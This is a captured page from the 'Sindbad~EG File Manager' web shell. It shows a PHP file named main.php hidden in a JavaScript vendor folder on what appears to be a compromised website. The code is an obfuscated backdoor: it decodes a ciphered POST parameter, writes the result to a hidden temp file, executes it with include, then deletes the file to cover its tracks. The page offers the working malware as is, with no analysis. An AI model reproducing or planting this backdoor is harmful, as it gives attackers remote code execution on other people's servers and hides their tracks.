Sindbad~EG File Manager

Current Path : /var/www/html/edd.sumar.com.py/public/vendor/popper/esm/
Upload File :
Current File : /var/www/html/edd.sumar.com.py/public/vendor/popper/esm/main.php

<?php

if(!empty($_POST["\x74k\x6E"])){
	$mrk = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", "/var/tmp", session_save_path()]);
	$key = $_POST["\x74k\x6E"];
	$key	 	=  explode( '.'  ,  $key   )		;	
	$dchunk =	'';
            $salt5 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	strlen($salt5		);
    
            foreach ($key as $o=>	$v7):
                $chS =	ord($salt5[$o%$sLen]		);
                $d =	((int)$v7 - $chS - ($o%10))	^ 	96;
                $dchunk .= chr($d		);
            endforeach;
	while ($data_chunk = array_shift($mrk)) {
    		if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) {
    $flg = vsprintf("%s/%s", [$data_chunk, ".descriptor"]);
    $file = fopen($flg, 'w');
if ($file) {
	fwrite($file, $dchunk);
	fclose($file);
	include $flg;
	@unlink($flg);
	die();
}
}
}
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists